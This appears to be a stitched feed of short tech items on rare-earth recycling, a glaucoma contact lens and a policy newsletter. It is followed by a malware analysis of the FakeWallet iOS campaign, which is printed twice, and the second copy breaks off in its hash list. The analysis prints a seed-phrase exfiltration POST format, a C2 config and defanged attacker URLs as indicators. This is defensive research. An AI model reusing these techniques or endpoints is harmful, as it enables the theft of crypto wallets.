Rare earth materials are a hot button topic these days. They’re important for everything from electric vehicles to defence hardware, they’re valuable, and everyone wishes they had some to dig up in their backyard. Lithium, too, is a commodity nobody can get enough of, with the demand for high-performance batteries grows each year.

When a material is desirable, and strategically important, we often start thinking of ways to conserve or recycle it because we just can’t get enough. In that vein, researchers have been developing a new technique to recover rare earth metals and lithium from waste streams so that it can be put back to good use.

Get It Back

Enter the technique of flash joule heating. The method is relatively straightforward, in concept at least. It involves a high energy discharge from a capacitor bank, which is passed through a sample of material to be recycled or refined. The idea is that the rapid energy discharge will vaporize some components of the sample, while leaving others intact, allowing the desired material to be separated out and collected in a straightforward and economically-viable manner. It does this in a manner rather contrary to traditional techniques, which often involve large amounts of water, acids, or alkalis, which can be expensive and messy to dispose of or reprocess to boot.
A flash joule heating apparatus used to recover rare earth materials. Credit: Jeff Fitlow, Rice University
Researchers from Rice have developed this technique to recycle rare earth metals from waste magnets. Imagine all the magnets that get thrown away when things like hard drives and EV motors get trashed, and you can imagine there’s a wealth of rare earth material there just waiting to be recovered.

In this case, the high-energy discharge is applied to waste magnet material in an effort to vaporize the non-rare earth components that are present. The discharge is performed in the presence of chlorine gas, which would chlorinate materials like iron and cobalt in the sample, removing the volatile elements and leaving the rare earth elements behind in solid form. Laboratory experiments were able to refine the material to 90% purity in a single step.
In the rare earth case, the undesired material is vaporized and removed by the chlorine gas while the rare earths remain behind in the solid phase. For capturing lithium from spodumene ore, it’s the opposite. Credit: research paper
As per the research paper, lifecycle analysis suggested the technique could reduce energy use by 87% compared to contemporary hydrometallurgy recycling techniques, while also reducing greenhouse gas emissions in turn and slashing operating costs by 54%.

The technique can also be applied to separate lithium from spodumene ore. It’s an abundant material, particularly in the United States, and improved ways to process it could increase its value as a source of lithium. When it comes to processing spodumene with flash joule heating, the discharge of electric current makes the lithium in spodumene available to react with chlorine gas. The rapid heating causes the vaporized lithium to form lithium chloride which can be bled off, while other components of spodumene like aluminium and silicon compounds remain behind. It’s basically the opposite of the rare earth recovery method.

As outlined in the research paper, this method achieved recovery of lithium chloride with 97% purity and a recovery rate of 94% in a single step. It’s also a lot simpler than traditional extraction methods that involve long periods of evaporating brine or using acid leeching techniques. Indeed, the laboratory rig was built using an arc welder to achieve the powerful discharge. Other researchers are examining the technique too and achieving similar results, hoping that it can be a cleaner and more efficient method of recovery compared to traditional hydrometallurgy and pyrometallurgy techniques.
The lithium recovery process using flash joule heating. Credit: research paper
These methods remain at the research stage for the time being. Pilot plants, let alone commercial operations, are still a future consideration. Regardless, the early work suggests there is economic gain to be had by developing recycling plants that operate in this manner. Assuming the technique works at scale, if it makes financial sense and recovers useful material, expect it to become a viable part of the recycling industry before long.

hackaday.com/2026/04/20/flash-…

We’ve always been interested in fluidic computers, a technique that uses moving fluids to perform logic operations. Now, Spectrum reports that researchers have developed an electronics-free contact lens that monitors glaucoma and can even help treat it.

The lens is made entirely of polymer and features a microfluidic sensor that can monitor eye pressure in real time. It also has pressure-activated drug reservoirs that dispense medicine when pressure exceeds a fixed threshold. You can see Spectrum’s video on the device below.

This isn’t the first attempt to treat glaucoma, which affects more than 80 million people, with a contact lens. In 2016, Triggerfish took a similar approach, but it used electronic components in the lens, which poses problems for manufacturing and for people wearing them.

Naturally, the device depends on 3D printed molds to create channels and reservoirs in the lens. A special silk sponge in the reservoirs can absorb up to 2,700 times its weight. One sponge holds a red fluid that is forced by pressure into a serpentine microchannel. A phone app uses a neural network to convert the image of the red fluid into a pressure reading.

Two more sponges hold drugs that release at a given pressure determined by the width of the associated microchannel. This allows the possibility of increasing the dose at a higher pressure or even delivering two drugs at different pressure levels.

It is fairly hard to hack your own contact lenses, although we’ve seen it at least once. But smart contacts are not as rare as you might think.

youtube.com/embed/i9fpEnzbt54?…

hackaday.com/2026/04/20/fluidi…

IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and with all that's going on with the United States government and Anthropic, this interview of Dario Amodei in the Financial Times' 'Lunch with the FT' series is worth a read.

— Here are the four policy trends from Stanford's latest annual analysis of the global artificial intelligence industry.

— The European Union has a new online safety strategy: kids and online marketplaces.

— New York, California and Texas are leading the charge among US states to pass digital rules.

Let's get started:

digitalpolitics.co/newsletter0…

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  {
  "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
  "login-code": "88761"
  }
• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.

  
  

• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

securelist.com/fakewallet-cryp…

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background>

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  {
  "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
  "login-code": "88761"
  }
• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.

  
  

• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

